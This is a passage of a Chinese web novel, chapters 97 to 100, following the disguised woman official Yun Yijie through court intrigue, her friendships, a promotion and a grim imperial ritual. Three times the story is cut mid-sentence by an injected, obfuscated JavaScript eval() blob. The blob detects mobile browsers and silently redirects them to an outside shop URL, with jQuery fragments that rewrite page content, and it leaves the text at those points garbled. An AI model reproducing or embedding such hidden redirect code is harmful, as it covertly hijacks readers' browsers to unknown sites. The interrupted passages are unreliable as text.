“原来如此。”昭恒帝笑得像个真的慈父似的,“既然你与他相熟,那么不妨帮朕劝劝他,净巍宗的事,还不到时候,让他莫要心急。敏理啊,朕和朕的儿子,可都指望着你能查出些什么来。” 云逸杰答:“臣必定为陛下分忧。” “好了,回去吧。” “臣告退。” 云逸杰转身离去,云江早已叫了马车在宫门口等她。 她回头望着幽深中冰冷的高墙,心中千滋百味。 她上了马车之后,云江放下为她掀起的帘子,问:“一切可都还顺利?” “嗯。”云逸杰淡淡点了头,“谢明乾回去的消息,她们可都知道了?” 云江先前和她们聊了聊,答道:“幽王府派人来传话,说幽王已经平安归来,破山和春雨便回去了。” “守一和春信还在家里?” “自然是在的,还没吃饭,说是一定得等你。” 云逸杰垂下眼睫,轻声道:“好,咱们快些回去吧。” “对了,陈仵作说这边全是女眷他不方便过来,要我帮他问问,他何时需要去作证?” 云逸杰愣了一下,眸子瞬间阴冷下来,而后看向云江,有些倦色道:“不用了。阿江,你帮我告诉他,不用了,请他也不必担心自身安危了。你帮我谢过他吧。” “……好。” 入夜,云逸杰一个人躺在书房的床上,直直盯着房顶,出神地想着什么。 忽然听见房顶上有什么声响。 “谁?” 97. 第九十七章 明月西悬,照亮天中磅礴绵延的云,也照亮了整个院子。 云逸杰和谢明乾并肩坐在屋顶上,遥遥望着远处的皇城,相对无言。 听见屋顶上的声响后,云逸杰便快速披上衣服走出门去,想叫隔壁的春信和守一来看看,却没想到看到了屋顶上的谢明乾,他身着锦服踩着瓦片,拎起一壶酒朝她招手:“喝酒么?” 于是她就这么坐到了屋檐上。 月光如流水,亮堂堂地流淌在身上,初夏的夜晚凉风习习,青草树叶味道随风飘荡。谢明乾从身上拿出来两个酒杯,一杯斟满递给云逸杰。 “多谢。” 两个晶莹剔透的白玉杯轻碰了一下。 云逸杰抬头小酌一口,听见谢明乾“嘶”了一声,她一看,原来他一口将杯酒下肚,那杯盏早已空了。 “敏……云大人,你是要做宰相么?”谢明乾没头没脑地来了这么一句。 月光下他的眉眼很是俊朗,云逸杰不明白他为何这么问,于是没有回答,从袖子里拿出一方手帕贴到他嘴角,示意他自己拿着。 “你嘴角有伤,这样喝下去,酒得顺着血一起趟。” 谢明乾听话地捂住嘴角,拿下帕子一看,果真有些惨淡的粉色血迹,自嘲地笑了一下:“伤都伤了,无妨再伤一下。” “可不能这样。” “多谢云大人关心。”谢明乾笑得颇有些妖惑。 云逸杰愣了一下,低头把玩着手里的酒杯,缓缓开口:“敏理确是我的字,多年不论身处何处,都未曾改,只是很少有人知道。” “那什么是改变了的?”谢明乾不去看她,只是反问。 “庄周梦蝶是假,隐士游历是我终年之愿,过去之事是真。算起来……胡碟并非一个十足的假人。” “嗯。”谢明乾接连灌下去好几杯酒,晕乎乎地低低应了一声。 “看着我在你面前对你各种崇拜,却还认不出你,是不是很好玩,很好笑?” “……不是。”云逸杰正色道,“世间万物对我而言,都是真心对待,若非事出有因,不会这般,也绝无玩弄之意。” 云逸杰忽然间觉得自己的话有些多了,决意不再提起这个话题。 “嗯,好,我知道了。”谢明乾迷迷糊糊地歪着脑袋,“可是、可是,我还是有些生气的……” 他的话没有说完,埋着头自己晕了会儿。 云逸杰并不太爱喝酒,或者说根本不喝,今日是觉得谢明乾看起来实在低落,她又没能带回他想要的答案,才不忍心拒绝的,谢明乾没有一直拉着她和,于是她也早便放下了酒杯。 生气? 云逸杰看着谢明乾乖顺低着的脑袋,有些好笑,以后他生气的事还多着呢,只会多不会少。 “其实,其实我知道就算敏理你去了,结果也不会改变的。”谢明乾又絮絮叨叨地说起话来,“只是我好像明白得太晚了,五年了……” 云逸杰道:“你别忘了,那时我劝你慎重回南都,你说无论刀山火海,箭在弦上,那是你的师门,你的师父和亲人,你不能回头。你就算早知道此事无果,也不可能坐视不管,不可能不去寻找一个答案的。” 谢明乾双眼无神地仰望着月亮,喃喃道:“可我输了……” “不,你没输。”云逸杰的声音清冽又清脆,言语掷地有声,“你找到了证人,也知道了净巍宗掌门确实是被冤枉的,哪怕没有找回清白,可也没输了。” “没输……”谢明乾苦笑道,“没输,可怎么我也赢不了呢?” 云逸杰沉默了片刻,才道:“因为皇帝不让你赢,净巍宗一直是他的心头大患,他当年不会放过除掉净巍宗的机会,如今也不会让净巍宗的冤案影响了他的威信。” “我竟然天真地以为,努力就会有用的……” 云逸杰没说话,她头一回不知该如何去说。 地里再怎么努力而种出来的秧苗,都会被一场暴风雨无情的摧毁。 后半夜有些凉,谢明乾被凉风一吹便酒醒,拎着酒瓶子回去了。 云逸杰半夜才睡下,第二天接到圣旨的时候,只得顶着个黑青的眼眶前去叩谢皇恩。 “……特赐大理寺理案郎云逸杰,官复原职,钦此。” 吉祥笑眯眯地讲黄绢递到云逸杰手上:“云大人,又见面了。大人苦尽甘来,陛下叫奴才嘱咐您,别忘了六月的磨勘,您为官三年,也该是时候变动了。” “多谢公公。” 吉祥离开后,云逸杰看着手中的黄绢有些出神,磨勘是朝廷检验官员能力的考试,三年期已满,她若参加考试,便能加官进爵了。 皇帝亲自下旨叫她官复原职,想来是对她有了几分信任,如今要对外正式当她作他的人了。 阳光正好,原来小满已过,已是芒种了。 云江抱着手站在院子池塘边,颇有些焦心道:“这下你可就彻底成为某些人的眼中钉了。” 云逸杰冷笑:“从前不也是么,只要不归顺,便是他们的敌人,如今也只是挑明罢了。” “也是。” 正说着话,春信兴冲冲地从外面跑进来,云逸杰问她:“你大早上就出去了?” “是啊,”春信眨眨眼,“我太稀罕南都了,出去逛逛早市,给你买的牡丹呀。”说罢指了指手中带着泥的牡丹苗。 “哦?我可得谢谢你了,那你可逛得开心?”云逸杰笑道。 “开心开心,当然开心!我可是听见好多关于你的事儿呢!人家说,你是魁星下凡,十七岁就中了状元;还说你破案好厉害,说什么‘柳叶眼明察秋毫,指似竹执笔书罚’,说你……” 云逸杰越听越难为情,忙打断她:“停停停,别再说了,这些我都知道的……” 守一这时从墙根地下走出来,看着一弯一弯的鱼,听春信说闲话:“这些都不是什么重要的,最重要的是啊,我听见人家说,云逸杰以前办案,对美妇人起了歹心,对人家求爱失败,结果就被当街指认,还撕破官袍以证自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268746|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清白,真有这么回事儿?” 云逸杰无奈:“我会不会喜欢那美妇人,你不清楚么?竟是信这些胡说八道的。” “诶,春信姑娘,我跟你说啊,这点还真没说错。”云江坏笑着拉过春信,“我跟你说,阿杰这个人,平日里对付凶犯是个伶俐的,可有时候却傻得很。当时为了宁康坊妇人的事,她大雪天跑了好多趟,身上都落下病了。结果还反倒被人冤枉,我就说有些人救不得,只会恩将仇报而已,根本不值得。” 春信点头:“云小将军说得有道理。” “好了,阿江。”云逸杰道,“我的身份去关心她,确实容易惹出闲话,这也是正常的。” 云江不服:“她哪里是真的怕你看上她?她是怕你动她亲亲的男人罢了!为了她的男人,害你差点被仇人借题发挥整死,害你一个两袖清风的读书人要去做什么杀猪的事,你就别替她开脱了。” “阿江,他们想整我,只是利用了宁康坊那妇人的契机罢了,怪不着她。” “好像你说得也对。”春信再次倒戈,“我跟我大师兄讲了这事,他也说,‘敏理喜爱道学,淡泊名利,定是不愿与人拉帮结派,才被人冤枉的吧。’我看也是。” 云江道:“你倒是倒得快。” 云逸杰道:“你倒是跑得快,一早上跑了这么多地方。” 春信嘿嘿笑:“云小将军一票,敏敏两票,她赢了。”而后对云逸杰道:“我是暗卫,跑得快你又不是第一天知道,大师兄还说叫你请他吃饭呢。” “行了行了,叫他过来就是了。”云逸杰有些头疼,转移话题,“守一,我将说好的那把剑赠与你,你随我来。” 却没想话音刚落,正提起谢明乾,他便到了,似是还有些不自在,他离得远些行礼:“敏理,叨扰了。” 云逸杰不做它言,道:“客气了,随我一起逛逛吧。” 院子里一览无余,除了鱼儿没什么好看的,云逸杰带着众人先去了书房。 “我独自居住,用书房的时间也多,故而将正房留作书房,收拾出东西耳房做起居之用,读书学习、穿衣吃饭就都在这里了。” 谢明乾抬头,瞧见书房的窗户外挂着一只与禹城那只一样的青竹风铃。 接着是门前的楹联:“无根树上花正幽,浮生事泛苦海舟。” 门头上牌匾:“别有洞天。” 云逸杰见谢明乾目光所到之处,便解释道:“这是张三丰的诗《无根树》当中的两句化用而来。”她颇有闲情地念到,“浮生事,花正幽,贪恋荣华谁肯休。浮生事,苦海舟,飘来荡去不自由。” 至于别有洞天,云逸杰并没有解释。 谢明乾觉得这楹联便是他心目中的云逸杰会追求的东西,至于别有洞天,或许是她想鞭挞自己做出一番境界来,又或许,是指她别有身份。 这小小的书房,意味无穷。 云逸杰从书房的柜子上取下一把锐利无比、光芒四射的刀交到守一手上:“这便是抱朴刀。” 98. 第九十八章 守一接过刀,爱不释手,眼中亮了亮。 云江道:“这把刀是阿…阿杰游历之时高道所赠,她可是十分宝贝,多年珍藏。她自己用不了,今日终于送给了有缘人,我可是眼馋这把刀很久了。” 守一拔出刀,冰冷的脸上勾起笑容:“云小将军既然对此刀如此感兴趣,不如比试比试,当作一试?” 云江一把揽过她道:“好哇。不过你别叫我云小将军,叫我阿江就行了。” 二人兴致冲冲到院子里酣畅淋漓地打了一场,在晴朗凉爽的庭院里,在红鱼戏水的池子旁,比武别有一番趣味。 云逸杰搬了个板凳坐在书房门口,悠哉悠哉地看云江和守一比武,云江并未使出全力,而是在试探着守一的各种招式。 云逸杰大喊:“你别让着她,看不起谁呢!” 云江偏过头来:“她昨日在院子里练剑,招式我都看完了,要是出全力,不是作弊么!” 守一和春信早便找过她,想和她多多切磋交流,今日既然有个机会,便不急着分出胜负,看看她们二人的优缺点更为重要。 双方交战良久,打得你来我往,守一输了之后,云逸杰又推了春信上去。 春信同样与云江交手好一段时间才停下来,云江与她二人打斗游刃有余,这么一会儿下来,面不红心不跳。 云逸杰站起身,将观战的谢明乾推过去:“你也去试试。”谢明乾也没拒绝,含着笑应战了。 云逸杰道:“阿江,这位可是净巍剑法最厉害的人,你抓紧机会与他比试。” 言下之意就是,这是你姐给你找来陪练的,大可将他打趴下才好。 云江这回来了精神,操起长枪哐哐就是打。 谢明乾自认勤于练功,天赋异禀,这些年在边疆也算是身经百战,却没想在云江手上,几个回合便败下阵来。 最后一招,云江的长枪直劈当关剑,将谢明乾的膝盖压到了地上。 云江昂着下巴:“长枪进攻最为优势,不过你的剑倒也不错。虽然你没几个回合便输了,但我到南都这些年里,你已经是最能打的一个了,如此武艺,行走江湖也可横着走了。幽王殿下,得罪了。” 谢明乾抬眼看她,心服口服地笑道:“云将军,多谢赐教。” 云江总说,真正的高手,哪怕是输,也能从对手那里得到很多东西。 所以云逸杰觉得,她没有仗着云江厉害就欺负谁的,对吧? “好了大家,都累了吧,吃饭吧。” 饭桌上热热闹闹地说着话,云江提起今日比武的事:“守一招式凌厉,下手够狠,但力气差点,还有灵巧程度差一点,不及春信细心。”她给守一夹了一块肉,“幽王平时不给你饭吃还是怎么的,多吃肉才有力气,你太瘦了。” 谢明乾给守一也夹了一块肉:“我可没有啊,守一你看你不爱吃饭,害得我成了黑心老板了。” 守一呆呆地看着碗里,拿起筷子猛扒起来。 云江道:“道德经中讲,企者不立,跨者不行,慢慢来就是了。” 春信咯咯地笑:“阿江,那我呢?” “你呢,身子轻盈,也很细心,力气也够,就是一点,不够狠。” 云江一语中的,春信吐了吐舌头:“好吧。” 云逸杰道:“这点我也发现了,从禹城那次到路上那次,你都有种下不去手的感觉。” 春信一直很介意刘大娘的死,心情有些低落:“对不起……其实,其实我一直并不向往刀剑舔血,把人命攥在手里的感觉,我虽有一身武艺,但我并不能坦然地杀人,哪怕对方要杀我……” 云逸杰摸摸她的头:“知道你心善,内心柔软。人各有命,你如今是逼不得已要面对敌人,但或许你一辈子都能运气那么好,能保全自己,无需杀人也说不定。也不必苛责自己,平常心就是,只是要将自己的缺点记在心里,以免哪日危急的时候应对不了。” 春信吸了吸鼻子:“好。” 饭后春信到院子里,说要把牡丹苗栽起来。 “你们都看着我做什么?”春信在用力地刨土。 “我们瞧的是花,可不是你。”云逸杰道。 “切。”春信撇撇嘴,“你这屋子比幽王府小多了,却别有一番味道,我瞧着比幽王府好多了。” 谢明乾无奈道:“幽王府再大,也是冷冷清清,逼得你们都不愿回去,有什么好?我看还是敏理这儿好。” “幽王府里正经住着的人没有一个,眼线却多得很,想想都来气,自然不愿回去。” 云逸杰道:“我一个八品小官的屋舍,哪里比得上皇子的宅子呢?不过我就算做了大官,恐怕也只会蜗居在此,毕竟贵无不贵有,是老君留下来的美德。” 春信抬起头来,用粘了泥巴的手挡住阳光:“无比有更快乐么?照这么说你应该与我们猜测的一样,做个隐士才是,怎么会是个神探呢?” 云逸杰出神地想了想,道:“无是比有更好,但有时,有是为了更好的无。拿我来说,我做官,是因为天下的人,尤其是与我一样的人,她们仍然是‘有’的状态。” “她们有什么,让你不得不入世的?” “有……她们,有无尽的苦难和伤痛。” “那么你要的无是什么呢?”谢明乾问。 云逸杰叹了口气:“我要的无,是俟河之清。” 说话间,去隔壁送饭的蒋玉蓉也回来了。 “幽王殿下,我表哥叫我代他问问,咱们什么时候回去?” 谢明乾一时有些为难,看了看云逸杰,道:“我们恐怕……暂时都不会回去了。” 皇帝叫谢明乾待在府中思过,他也就不能轻易离开南都。云逸杰官复原职,更是不能脱身了。 云逸杰道:“你们若是要回去,叫幽王殿下找人护送你们便可,你们放心,做人证的事,不会有人再因此找上门为难你们的。” 蒋玉蓉点点头:“那我与表哥商量了之后,回禀殿下吧。” 谢明乾道:“好,到时候若找不到我,直接同春信和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282151|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守一讲也行的。” 春信道:“对呀,我可以帮你跑一趟腿。不过你好不容易来一趟南都,不多玩几天么?” 蒋玉蓉眼里有些渴望,却只能惋惜道:“出来太久,怕家里担心。” 云逸杰道:“这样啊,那就先祝蒋姑娘一路平安了。不过我在大理寺上值,那里的仵作都是天下一等一的,我本来还想着日后能带你一同观摩观摩呢。” 蒋玉蓉两眼放光,不舍道:“真的么?我真的可以去么?” 云逸杰道:“当然。” 蒋玉蓉立马提着裙子跑到云江那边问过陈祥,陈祥见妹妹如此求知若渴,便答应她帮她向家里解释,蒋玉蓉高兴坏了,折回来告诉她们自己会留下来,又帮着春信摆弄起土里的花儿来。 院子里热热闹闹的,云江脸上的笑容怎么也化不去:“看,咱们在南都竟然也能这么人热闹着。” “是啊,”云逸杰道,“我还以为,我们会在这里孤独到战死呢。” “没想到我们能有这些姑娘做伙伴。” “同声相应同气相求,水流湿,火就燥。云从龙,风从虎。我们终归不会一直独行的。” - 夜里,沐浴更衣后,云逸杰照例走到书架背后的神像前,点起三炷香跪在神像前的蒲垫上,目光深深地看着那尊云霞羽衣的女神。 夜色缓缓流淌,话语凉如水。 院子里风声阵阵,窗户轻微响动,背后传来窸窸窣窣的躁动。 云逸杰敛起心神,起身不紧不慢将香依次插好,又对头戴莲花冠的神像拜了三拜。 “行了阿江。” 云江从黑暗中跳出来:“嘿嘿,你猜出来了。” “你说出来得太久,今夜得回军营一趟,我估摸着你一炷香的时间也就回来了,没想到还快些。” 云江笑嘻嘻道:“那说明我功夫见长呗。” 云江将云逸杰拉到床上,二人一起躺下。 “太好了,来南都之后我们就没一起睡过了,这样好像回到小时候。”她躲在被子里轻轻踢了云逸杰一脚,“现在真是非常怀念,也不知母师怎么样了。” “母师若没有信来,那便是安好的,咱们无需担心。” “也是。诶,阿杰,我问你啊,幽王这次回来翻案,就这么失败了?” “是啊,这是皇帝的意思,不可能有变化了。” “我听春信说,她们努力了很久,就这么白费了,真可惜。” 云逸杰叹了口气:“那是我们在马车上,我想起净巍宗就是当年的莫家军时便该知道的,谢家对娘子军都赶尽杀绝,除掉净巍宗是迟早的事,所以谢明乾一定不会赢。世上很多事,努力并没有什么用,我们只能向权力低头,努力在权力面前,只是暴风雨下的一粒灰尘,别说会被吹走了,连看都看不见。” “那该怎么办呢?难道就真的没有赢得可能了么?” 云逸杰在黑暗中睁着眼睛,一动也不动,平静道:“或许,一定要成为权力本身。” 99. 第九十九章 云逸杰便开始每日带着三个人去大理寺上值。 春信还是照常躲在暗处,轻易不被人发觉;守一则护送云逸杰和蒋玉蓉到大理寺门前便分道扬镳,不知在外做些什么,到下值时再来接人;云逸杰带着女扮男装的蒋玉蓉去见了老仵作,老仵作极为喜欢这“小子”,当个宝似的成天带在身边,教这教那,期望这个名为“蒋玉”的徒弟能学去他所有的本事。 云逸杰每日上值,免不了遇上些熟人。 平宁街的大妈叫她拿些菜回去吃,西蜀院的大爷请她给新家写副对联,唯独几个妇人见了她,总遮着脸跑过去。 到家吃饭时,蒋玉蓉问:“咱们在路上遇见那些人是怎么回事啊?怎么见了云大人就躲。” 云江放下筷子:“那些人啊,你不说我都知道是谁。左不过是被弟弟抢了家产的,或者是被婆家打的,还有女儿被掐死的,有的我记得是被强卖去做小妾的。反正多得很,你慢慢就会遇到的,这些人都是阿杰帮了许久,没有一个坚持到最后的。” “所以闹了半天,一个都没过上好日子啊?”春信道。 “可不是么。” 云逸杰道:“其实也没那么严重,这都是人之常情罢了。” “可是你帮了忙,却没有结果,不会难过么?” “从前或许会,现在不会了。世上很多事,求不了一个结果的。” “也对,万一人家也过得好的呢。”春信嚼着饭,无意间说起,“从前我们在边疆时,对面的那些地方落后些,经常吃不饱饭,女人也要出去打猎呢。那时候她们会拿东西偷偷到大昭的集市上来卖,都说我们大昭的传统美德便是丈夫们都在外打拼,妻子们只需要在家里操持操持家务便好,她们很是羡慕我们呢。” 云逸杰毫无感情地笑了笑,正色道:“大昭说女人是天底下最大的祸水,自然也要装出一副爱护的样子,不这么哄着,女人怎么可能听话呢?不过你想想,道德经中讲,绝圣弃智,民利百倍;绝仁弃义,民复孝慈;绝巧弃利,盗贼无有。此三者,以为文不足,故令有所属。见素抱朴,少私寡欲,绝学无忧。” 云江道:“你是想说,越强调我们有什么,便是因为越心虚罢了。” 春信:“……糟糕,又中一计。” 守一:“吃筷子青菜吧。” - 小暑之时,夏日最盛便到来了。 云逸杰的磨勘之期已到,皇帝特许,召试学士院,试两篇论文,一为《孔孟通达论》,二为《七月红鸾祭祀之功》,云逸杰咬咬牙写了满篇的糊涂话,终以最高分的“三等”入选,由皇帝钦点为从六品礼部郎中,上任第一件事,便是全权操办七月红鸾塔祭祀之事。 红鸾塔祭祀对于大昭皇室而言,其重要程度高于任何祭祀。别家的祭祀是要祈求保佑,汇报功绩,红鸾塔的祭祀,则是要把高贵妃的尸身挖出来,在日头最盛的三伏天正午,曝晒鞭尸。十几年过去,高贵妃的尸身早已腐朽不说,就是鞭打也打得稀碎不成样子了,于是这些年都是把棺椁挖出来打。 外人都说,此事万众瞩目,皇帝是真的要启用科举入朝的官员了,祭祀那日云逸杰站在最前头,这位“柳叶眉明察秋毫,指似竹执笔书罚”的判官,如今判妖妃妖邪,为天子开路,代天子祭拜,为万民做事,享万民敬仰,不知有多风光。 云逸杰揉着太阳穴,紧紧地闭着眼睛:“阿江,我想吐。” 云江叹了口气:“高贵妃的事是你从小最恨的,如今要叫你亲自去安排去布置,不知道的觉得皇帝器重你,知道的才明白你多难过。” 云逸杰自听说过高贵妃的事后,便每每惋惜,她总想着有朝一日,叫这祭祀停了,却没想如今她要亲自去代皇帝挥下第一鞭。 “我恨死他了,我恨死他了。做这事儿,比去杀猪恶心多了。”云逸杰锤着脑袋,有些破罐子破摔地往桌子上靠。“皇帝这是还在试我呢,看看我到底有没有那个本事。” “这个老狐狸,自己都孤立无援成那样了,还试过来试过去的。” “这祭祀,往年都是由异姓王赵雍来带头的,不知道要捞多少油水,如今这‘肥差’落到我头上,他不知要怎么想杀了我呢。” “没事,有我呢,”云江道,“最近家里不知道来过多少批杀手了,都叫我带着春信和守一处理了,也正好,给她俩练练手,春信现在好多了,砍人下手是要重一些了。” “还得谢谢晋王爷的打赏才是。”云逸杰笑道,“我听守一说,天璇阁阁主被杀的事在江湖上都传遍了,有很多人都说要挑战这位不知来历的高手呢。” 云江骄傲地扬眉:“来呗,天璇阁说是天下第一,不过也就那样,说明其他人就更只能当我的手下败将了。” “也是,谁能打得过我们母云山上下来的姑娘云挽澜啊。” 红鸾塔祭祀那日,被烈日晒得滚烫的红鸾塔在暴雨倾洒下恢复了往日的冰冷。那时云逸杰也才听宫人议论说,每年都要挑日头最盛的日子祭祀,可每年都会下大雨,有时候别的地方都不下,只有南都城门口下。法师说,那是妖妃的魂灵在试图挣脱束缚,若是下雨,便说明妖妃感受到了百姓的恨,祭祀也才算成了。 云逸杰心中冷笑,看了眼外边的雨帘,原来天也会可怜人的。 香雾缭绕,云逸杰有些庆幸这里由和尚和比丘尼环绕,燃的是檀香,否则若这里都是道士、燃的是降真香,她真的便无颜以对了。 下一瞬她又有些觉得不幸,檀香太过霸道,她自幼体弱多病,母师交代过不可离檀香太近的,她浑然忘了,致使此时此刻有些头晕目眩,她本就反感今日之事,恨不得拿起那鞭子打的是谢家的祖坟,这下闻了这香,手更有些不稳了。 周遭冰冷,一只温暖的手握住了她冰凉的指,接过了那通身漆黑、淬了毒的鞭子。那只手还带着些水汽,似是从外面匆匆赶来的。 红鸾塔不许进入太多人,唯恐生气惊了高贵妃,叫她再祸国殃民。今日昭恒帝身体抱恙,只派了吉祥公公和几个礼部的官员来,这会儿见她不好,忙上来搀扶着。 谢明乾低沉的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296865|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音不冷不淡地响起:“云大人似是身体不适,我是皇子,不若我来代劳吧。” 说完也不给谁反应的时间,抬手甩了一鞭。 一鞭过后,无数僧人点着香蜡进场,将棺椁团团围住,将去年的灯换下来,接着是撒纸钱、诵经,一切继续,正如这里的每日每夜、时时刻刻一般。 云逸杰被吉祥公公拉过去的瞬间,心里想的是,也好,这罪就该姓谢的来担才是。 就算是下着大雨,红鸾塔下也聚集着看热闹的老少爷们,每年一次,却又从来瞧不见里面在做何事,他们也乐此不疲,冒着雨打着伞要来看看高贵妃这样的妖妃受了什么惩罚,好回家去警告自家的妻女,安心做人。 红鸾塔只开一道门,不送饭食,只送活人进去,念经的和尚死光了,再换新的进去,除了代天子祭祀的官员和宫人,其余一概只准进不准出,硕大的红鸾塔里,除了活着的和尚,便只有尸体、尸体和尸体。 从这道小小的门走出去,云逸杰便瞧见了无数双眼睛,那样好奇的、没有感情的、仇恨的眼睛,让她心痛不已。 谢明乾扶着她上了马车,往宫里走。 云逸杰不知这是谁的马车,只知谢明乾端了杯热茶到她手里:“今夜外头的百姓普天同庆,祭祀的官员要去宫里,洗去晦气,接受父皇酬宴,你先喝点水,撑着点。” 云逸杰没说话,靠在坐垫上,闭着眼睛把茶水递到嘴边。 谢明乾身上降真香的味道,倒是觉得比她还重些。 宫门前,谢明乾便与云逸杰分开了。 云逸杰来得晚,到时皇帝都已经到了,她连忙跪下祈求赎罪。 “无妨,听闻爱卿晕倒了?” “承蒙陛下关爱,臣自幼体弱,檀香性子霸道,才叫臣祭祀上失仪,请陛下赎罪。” “无妨,爱卿坐下吧。” 云逸杰也知道自己不会被责怪,祭祀不是昭恒帝的重点,能否熬到祭祀还不被杀死,能顺利地完成,才是他想要考验的。 酒过三巡,昭恒帝离场,众官员也差不多要走了。走到宫门口,各家都有马车来接,有些还在等车的便说起闲话来。 “咱们如果有空,还去那樊楼,那儿新来的小娘子,秀色可餐。” “李大人,你家里那位母老虎你不怕了?” “我怕个屁!” “要我说啊,还是别去那些地方,我最喜欢的呢,是以前在京兆尹的时候,那些求你办案的小娘子,想睡多少有多少,嘿嘿。云大人,你说是不是啊?” 云逸杰面无表情地说着熟络的话:“按林大人说的话,我还是待在大理寺最好,虽然是个八品官,但是福利多多呀。” “云大人说得是,说得是呀!” 云逸杰咬着牙笑了一下:“先走了,家里派车来接了。” “云大人又不曾娶妻,急什么……” 云逸杰上了马车,面色阴冷:“守一,春信,那几个说闲话的,拿麻袋套上打了。” 春信将手指掰得咔咔响:“是。” 100. 第一百章 七月,大昭的雨水再度降临。 一个多月来,云逸杰做着些无所事事的活儿,闲来无事还会去大理寺门前蹲一蹲,美名其曰她家远房亲戚蒋玉在这儿,她来探望探望,顺便也就接上蒋玉蓉回家了。 没过几日,皇帝便招她进宫,她心里预感着,说好的总会派她再去禹城,或许就要来了。 一进门,吉祥公公便宣读了圣旨,果然,是叫云逸杰升任正三品翰林学士知制诰,做钦差大臣去禹城救灾。 “此番徐州大水,已下了五天五夜未曾断歇,按照朝廷惯例,派钦差带着赈灾银两及物品前往。今年,就派敏理你去吧。” 云逸杰叩首:“是,臣定不辱陛下信任。” “徐州的大水,年年受灾最严重的就是禹城,你们去了之后,多花些心思在这里。” 言下之意很明显,提醒她别忘了查案的事。 “除你之外,朕还派了幽王去做先行官,他是皇子,代表朕前去安抚民心,又是大将军,带上兵马与你同去,也可保你周全。你看看,还有没有什么想要的。” 云逸杰清冷的眼睫眨了眨,抬眼看着上首金雕玉琢的大殿,一时有些失神。 “臣想请从七品翊麾校尉云江与臣一同前往。” “云江?”昭恒帝只当她是一人得道鸡犬升天,趁机会提拔族弟,也不做他想,“准了,封他为正六品的昭武校尉,带两百精兵,去吧。” “谢陛下。” - “我也是吃上沾亲带故的软饭了,嗯?”云江接到消息时这么说。 这话逗笑春信,叫她笑得直不起腰:“还是阿江会说。” 守一道:“往前总笑称你为小将军,如今你升了官,很快也能做将军了吧。” “做不做那些个的无所谓,我只想打遍天下无敌手而已。”云江抻了抻胳膊。 “敏敏和玉蓉都还没回来么?”春信这才发现二人都没回来。 “阿杰今日进宫了,我派了马车去接玉蓉姑娘。” 春信道:“我去门口迎她吧。” 人还没走到门口,便见蒋玉蓉红着眼睛进了门,瞧见这几个姑娘,眼眶又红了红,要掉下泪来,问她发生何事了,也摇摇头不说。 几个人将她拉进屋子里,端了冷茶扇了风,慢慢询问,她才支支吾吾说出来。 “今晨来了个水里死的尸体,都泡发了,我一个没注意,弄了些脏东西在衣服上,老仵作师父叫我把衣服脱下来换新的,我一个姑娘家,哪里肯,他便发觉我不对劲了。” 蒋玉蓉泣不成声:“当时他也不问我了,只叫我自己去洗洗,我以为这页也就翻过去了,谁曾想走的时候,他拿了些家里带来的糕点吃,我伸手过去,他一把抓住我的手腕,我慌了神,没反应过来就被他摸了脉。他说几十年的老仵作了,他早便看我的身子太弱小,不像个男子,还以为是年纪小,没想到今日我这般异常,他摸了我的脉,自然知道我是什么人了。” “知道也就知道了,”云江拉着她的手,“你可没受什么伤吧?” 蒋玉蓉抿着嘴摇头:“没受伤的,害你们担心了。” “那便别再伤心啦,没什么大不了的,你本来也就是女的,他们爱怎么样就怎么样吧。”春信抹去蒋玉蓉眼下的泪珠。 “我本也是这般想的,总不可能一辈子做男的,再说我也总是会回家去的。只是……只是……老仵作师父一下子变了脸色,还叫我滚,以后都别去大理寺了,他不会把我的事说出去,但此生,也不愿再见我了。” 蒋玉蓉伤心极了,趴在桌子上埋着脸大声哭起来。 春信道:“我明白你的感觉,大昭的人只要在办公事的场合看见女子,总是比如蛇蝎的。但老仵作与你相处两个月,也是真心疼你,只可惜他老糊涂了,非得希望你是个男子才行,你别难过,他或许只是气头上,人生还长,你们总还会相见的,也许事情没那么糟糕。” “这种迂腐的老头子,伤害了别人,自己也损失了个聪明的徒弟,自找苦吃罢了。”云江道,“反正咱们马上也要启程去你家了,离了南都,你和老仵作那老头也就不用纠结这啊哪啊的,徐州的洪灾马上就要漫到禹城了,你多想想家里母亲外公,担心担心他们如今是否还安好,就没空想那迂腐的老头了。” 蒋玉蓉闻言哭得更大声了。 春信拍拍她,为难道:“阿江,你只管少说两句。” 云江吐吐舌头,找了个借口出去:“我看看阿杰回来了没有。” 云江嘴上念叨着的这个人正在宫里,只是她从明德殿出来并未直接离宫。 “太子殿下,云逸杰求见。” 谢明麟听了旁源的话,有些诧异地停下了手中的毛笔。 “孤与他素不相识,他来做什么。” “属下也觉得奇怪。” 谢明麟眯起眼睛,笑得邪魅:“叫他进来,孤倒要看看他有什么话好讲。” 